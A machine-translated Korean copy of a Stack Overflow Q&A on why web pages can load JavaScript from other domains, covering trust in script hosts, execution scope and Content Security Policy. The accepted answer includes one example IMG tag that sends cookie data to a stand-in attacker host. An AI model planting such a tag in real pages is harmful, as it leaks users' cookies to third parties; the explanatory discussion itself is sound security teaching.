문제

y.com (예 : Google Analytics 또는 JQuery)의 x.com의 JavaScript 파일에 링크 할 때 크로스 도메인 보안 문제가 발생하지 않는 이유는 무엇입니까?

예를 들어:

y.com/index.html에서 우리는 다음과 같습니다.

<script type="text/javascript" src="http://x.com/jsfile.js" />

이것이 언제, 그렇지 않은시기를 어떻게 알 수 있습니까?

도움이 되었습니까?

해결책

주요 보안 구멍이 될 가능성이 있으므로 JavaScript 파일을 호스팅하는 해당 사이트를 신뢰해야합니다.

예를 들어,이 코드는 민감한 데이터를 제 3 자로 전달할 수있는 더 많은 스크립트 태그와 IMG 태그를 사이트에 주입 할 수 있습니다.

동일한 원산지 정책에 대한 David의 의견은 오해의 소지가있을 수 있습니다. 원격 사이트로 데이터를 전달하는 전형적인 방법은 IMG 태그를 원격 도메인에 삽입하는 것입니다.

<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />

원격 호스트의 JavaScript 코드가 이와 같은 IMG 태그를 동적으로 주입하도록 변경되면 사이트에 보안 구멍이있을 수 있습니다. JavaScript를 통해 액세스 할 수없는 HTTP 전용 쿠키 사용과 같은 일부 문제에 대한 완화가 있습니다.

분석 시스템의 예는 훌륭한 것입니다. 제공자가 자신의 쿠키와 같은 민감한 데이터를 가져 와서 원격 위치로 보내지 않을 것이라고 믿어야합니다. 또한 제공자를 신뢰해야합니다 그들의 시스템은 안전하고 해커는 서버의 JavaScript 파일을 변경할 수 없습니다. 분석 시스템은 일반적으로 동일한 기술을 사용하여 작동하지만이 기술을 선하고 악에 사용하기를 바랍니다. 어떤 의미에서는 개발자가 훌륭하고 안전한 코드를 작성하고 있는지, 비밀 백도어를 도입하는지 여부에 대해 걱정하는 것과 다르지 않습니다.

에 관해서 그것은 허용되며, 그것은 단지 역사적입니다. 웹은 전혀 보안을 염두에두고 설계되지 않았습니다. CSRF 공격, 재생 공격 또는 XSS 공격이든, 웹 개발자의 관심사가되는 웹 디자인의 기본 결함입니다.

다른 팁

데이터가 나오는 곳은 관련이 없으며, 그것이 중요한 범위입니다.

당신은 다른 도메인에서 스크립트를 얻는 것만으로도 자신의 페이지의 범위에서 실행되므로로드 된 도메인의 리소스에 액세스 할 수 없습니다.

다른 도메인의 페이지를 포함하는 iframe과 같은 교차 도메인 문제가있는 상황에서는 두 개의 다른 범위가 있습니다. iframe의 페이지는로드 된 도메인의 범위에서 실행되므로 해당 도메인의 리소스에 액세스 할 수 있지만 iframe을 다른 범위로 호스팅하는 페이지의 어떤 것에 액세스 할 수 없습니다.

(참고 :이 맥락에서 "범위"라는 용어가 일반적으로 사용되는지 여부는 모르겠습니다. 더 잘 설명하는 용어가있을 수 있습니다.)

왜 우리가 할 수 있는지 모르겠습니다. 그러나 웹 애플리케이션에서 보낸 HTTP 헤더 인 CSP (Content Security Policy)를 사용하여 발생하지 않으면 서 웹 애플리케이션이 보낸 도메인을 제외하고는 JavaScript를로드하지 않아야한다고 선언합니다.

라이센스 : CC-BY-SA ~와 함께 속성
제휴하지 않습니다 StackOverflow
scroll top